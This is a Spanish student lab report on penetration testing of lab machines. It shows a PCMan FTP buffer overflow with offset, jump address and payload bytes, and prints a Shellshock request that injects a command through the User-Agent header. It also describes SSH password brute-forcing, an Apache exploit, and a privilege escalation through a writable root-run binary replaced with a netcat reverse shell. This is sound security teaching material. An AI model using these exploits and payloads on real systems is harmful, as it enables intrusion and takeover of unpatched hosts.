PRACTICA 8.
SAMUEL VASQUEZ
BRAYAN ORTEGA
DARIO BRICEÑO
CURSO 2023-2024
Equipos a utilizar:
• Maquina A KALI IP [Link] • Maquina B Windows XP IP [Link]
Se utiliza la aplicación PCMan FTP Server 2.0.7 con
vulnerabilidad
- En el Windows XP, se va a evaluar con la aplicación x64dbg, para obtener las instrucciones de salto. Donde, se va a
ejecutar en el equipo KALI un pequeño programa en Python el cual va a enviar un buffer con letras “A”. El mismo
realizara saltos de 100 en 100, con esto esperamos validar en que cantidad de buffer se produce el volcado de
memoria y se detiene.
Equipo KALI:
- Se ejecuta el script y se observa que se detuvo en el rango de 2000.
-
- En el equipo Windows se observa el volcado de memoria. Cuando el script de Python se detuvo en el rango de 2000.
- Se va utilizar herramientas de metasploit para generar un buffer de unos 2015 caracteres, para obtener el numero
preciso del “EIP” y así poder crear el exploit.
- Se modifica el script de Python para enviar estos caracteres sustituyendo la “A”.
- Se ejecuta el script.
- Se
aprecia una
excepción deteniendo el proceso. Se obtiene el “EIP” donde vamos a apreciar los Bytes donde se detuvo. Los valores
“Bytes” los vamos a convertir de hexadecimales a código ASCII para buscar el texto en la herramienta de metasploit,
la cual nos dirá el numero exacto que corresponde en el buffer que generamos anteriormente.
- Buscamos el valor obtenido “8Co9” con el binario “pattern_offset.rb -q”
- Este valor obtenido, será el que utilizaremos para introducir el exploit. Procedemos a buscar un DLL que nos
funcione de salto.
- Tomamos el primer valor. El cual será el DLL de salto.
6677B24F FFE4 jmp esp
- Se configura un script en Python en el cual vamos a introducir el código malicioso. En este caso se va a introducir
una shellcode que abre una calculadora.
- Donde:
junk = "\x41"* 2007 #Valor obtenido con el pattern_offset.rb + 1.
ret="\x4f\xb2\x77\x66" #jmp esp obtenido en la búsqueda.
nops = "\x90" * 12 #valores de no operación
- Se procede a ejecutar
- Se puede ejecutar otro Shellcode donde podemos colocar un puerto en escuchar para conectarnos desde
metasploit.
Cambiamos el shellcode.
- Se ejecuta un metasploit en KALI.
• Maquina A KALI IP [Link] • Maquina B HC IP [Link]
- Se va a utilizar NESSUS en el equipo KALI para analizar el equipo HCE
- Se aprecia unos dos importantes.
- Intentaremos aprovecharnos de esta vulnerabilidad con metasploit. Procedemos a buscarla.
- Encontramos varios exploits con ese CVE. Usaremos el numero 1.
- Se configura el exploit. Donde se coloca información importante obtenida del Nessus.
Nessus was able to exploit the issue using the following request :
GET /cgi-bin/[Link] HTTP/1.1
Host: [Link]
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
This produced the following truncated output (limited to 2 lines) :
------------------------------ snip ------------------------------
uid=1000(hca) gid=50(staff) groups=50(staff)
------------------------------ snip ------------------------------
- La información resaltada en amarilla será parámetros requeridos por el exploit.
Donde: set rhost [Link], set targeturi /cgi-bin/[Link]
- Se procede a ejecutar el exploit. Donde se obtiene el canal.
Equipos a Utilizar.
- Docker Core: [Link]
Equipos Entorno otorgado:
- hme
- hoader
- parrot
IDENTIFICACION
- Tenemos un equipo “parrot” con herramientas de Ciberseguridad, estilo KALI. El cual nos va a funcionar para realizar
un análisis de la red con la herramienta “nmap”
- Se realiza un escaneo de la red usando un “nmap [Link]/24
(NOTA: para efectos de la práctica se repitió en escaneo usando solo las dos máquinas vulnerables, ya que el host
donde se colocó el Docker es un equipo real de uno de nuestros integrantes.)
- Se repite el escaneo utilizando comandos para obtener versiones y sistema operativo. Se utiliza (nmap -A -T4 -F
[Link] [Link]
- Se aprecia lo siguiente:
Nmap scan report for loader.entorno_red_u ([Link])
Host is up (0.00029s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Unix))
|_http-title: Services List
|_http-server-header: Apache/2.4.51 (Unix)
Nmap scan report for hme.entorno_red_u ([Link])
Host is up (0.00016s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 [Link] (RSA)
| 256 [Link] (ECDSA)
|_ 256 [Link] (ED25519)
80/tcp open http Apache httpd 2.4.49 ((Unix))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.49 (Unix)
- Se realiza la fase de explotación.
Se revisará el primer objetivo [Link] puerto 80.
- Accedemos al URL [Link]
- Se aprecia una página interesante de servicios. Donde vamos a intentar subir el servicio “SSH”.
- Se repite el scan para validar si el ssh es vulnerable usando nmap -p0- -v -A -T4 [Link]
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Unix))
|_http-title: Services List
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.51 (Unix)
22222/tcp open ssh OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| 3072 [Link] (RSA)
| 256 [Link] (ECDSA)
|_ 256 [Link] (ED25519)
- Con Metasploit vamos a intentar realizar un login aprovechando una vulnerabilidad para esa versión de SSH.
Usaremos el módulo (auxiliary/scanner/ssh/ssh_login)
Donde: RHOSTS [Link], set RPORT 22222, set PASS_FILE /root/entorno/[Link], username root
- Se realiza el acceso con la contraseña obtenida. (validation)
[+] [Link]:22222 - Success: 'root:validation' 'uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) Lin
- Se revisará el segundo objetivo [Link]
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 [Link] (RSA)
| 256 [Link] (ECDSA)
|_ 256 [Link] (ED25519)
80/tcp open http Apache httpd 2.4.49 ((Unix))
- Se busca alguna vulnerabilidad para el apache.
Donde set rhost [Link], set ssl false, set lhost [Link], rport 80
- Se busca el archivo con el comando find.
- Se observa que existen varios directorios sin permiso, por ejemplo (/root). Se va a intentar realizar una escalda de
privilegios para lograr el acceso.
(ESTE apartado se reinician los entornos y se tienen nuevos IP’s)
- Vamos a ejecutar LinPEAS para validar que escalada de privilegio podemos hacer.
Bajamos nuestro shell en parrot.
Se transfiere al equipo vulnerable.
Se ejecuta escaneo.
./[Link] -r -a
Se aprecia informacion interesante.
Contrasena usuario pep
Procesos con root.
Archivos con permisos de escritura
Archivos en temporales.
- En los procesos en ejecucion (ps -ef) se observa uno interesante como root.
- Lo ubicamos en temporales como lo indica LinPEas. /tmp/[Link] y vemos que tiene permiso de lectura.
- Al apreciar su contenido, observamos un while interesante donde se ejecuta el binario de linux “cmp”, utilizado para
comparar.
Al ubicarlo:
- Se aprecia que tenemos permiso de escritura en el, algo que Linpeas nos indico.
- Se procede a realizar un ataque utilizando esta vulnerabilidad.
Utilizaremos un shell reverso utilizando netcat que permita conectarse a la IP [Link] en el puerto 9000 y activar un
shell Bash:
1. Creamos el Shell en parrot.
2. Se transfiere al equipo vulnerado.
3. Se activa el puerto en escucha en parrot.
4. Se realizan los cambios en (/usr/bin) del equipo vulnerado
5. Se aprecia conexión entrante en el equipo parrot.
- Se busca el flag*